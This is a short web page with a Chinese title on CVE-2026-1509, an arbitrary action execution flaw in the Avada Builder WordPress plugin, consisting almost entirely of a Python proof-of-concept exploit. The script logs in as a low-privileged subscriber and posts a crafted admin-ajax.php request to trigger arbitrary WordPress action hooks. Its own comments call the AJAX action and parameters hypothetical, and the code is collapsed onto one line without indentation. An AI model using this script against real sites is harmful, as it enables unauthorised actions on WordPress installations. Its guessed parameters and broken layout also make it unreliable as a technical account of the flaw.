CVE-2026-1509 Avada Builder任意操作执行漏洞

import requests # This is a conceptual Proof of Concept (PoC) for CVE-2026-1509. # It demonstrates how a low-privileged user might trigger an arbitrary action. TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" USERNAME = "subscriber" PASSWORD = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate as a Subscriber # Login endpoint is typically wp-login.php login_data = { "log": USERNAME, "pwd": PASSWORD, "redirect_to": "/wp-admin/", "testcookie": "1" } print(f"[*] Attempting to login as {USERNAME}...") login_response = session.post("http://example.com/wp-login.php", data=login_data) if login_response.status_code == 200 and "dashboard" in login_response.text.lower(): print("[+] Login successful!") # Step 2: Exploit the Arbitrary Action Execution # The vulnerable function is output_action_hook(). # We need to send a request that triggers the Dynamic Data feature # and specifies a malicious action hook. # Note: The exact parameter names (e.g., 'action', 'hook_name') depend on the specific implementation. # Example payload structure based on Avada Builder AJAX behavior exploit_data = { "action": "fusion_builder_get_dynamic_data", # Hypothetical action to trigger the vulnerable function "fusion_action": "output_action_hook", # Triggering the specific function "hook_name": "wp_loaded", # The arbitrary WordPress action to execute "args": [] # Arguments to pass to the hook } print("[*] Sending exploit payload...") exploit_response = session.post(TARGET_URL, data=exploit_data) if exploit_response.status_code == 200: print("[+] Payload sent. Check server for impact (e.g., privilege escalation).") else: print(f"[-] Request failed with status code: {exploit_response.status_code}") else: print("[-] Login failed. Check credentials.")